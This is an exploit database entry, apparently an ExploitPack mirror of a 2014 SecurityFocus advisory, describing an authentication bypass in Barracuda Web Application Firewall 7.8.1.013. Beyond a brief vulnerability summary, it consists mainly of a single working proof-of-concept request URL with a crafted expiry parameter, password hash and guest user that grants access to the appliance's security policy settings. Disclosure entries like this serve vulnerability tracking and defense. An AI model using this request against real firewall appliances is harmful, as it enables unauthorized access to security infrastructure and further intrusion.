Lucene search

K
exploitpackNick HayesEXPLOITPACK:E1C793872AEEF575791C8D9AA320C274
HistoryAug 04, 2014 - 12:00 a.m.

Barracuda Web Application Firewall - Authentication Bypass

2014-08-0400:00:00
Nick Hayes
8

Barracuda Web Application Firewall - Authentication Bypass

source: https://www.securityfocus.com/bid/69028/info

Barracuda Web Application Firewall is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to bypass the authentication mechanism and gain access to the appliance. This may aid in further attacks.

Barracuda Web Application Firewall 7.8.1.013 is vulnerable; other versions may also be affected. 

http://www.example.com/cgi-mod/index.cgi?auth_type=Local&et=99999999996locale=en_US&password=5a2fd48b65c5d80881eeb0f738bcc6dc&primary_tab=SECURITY%20POLICIES&secondary_tab=request_limits&user=guest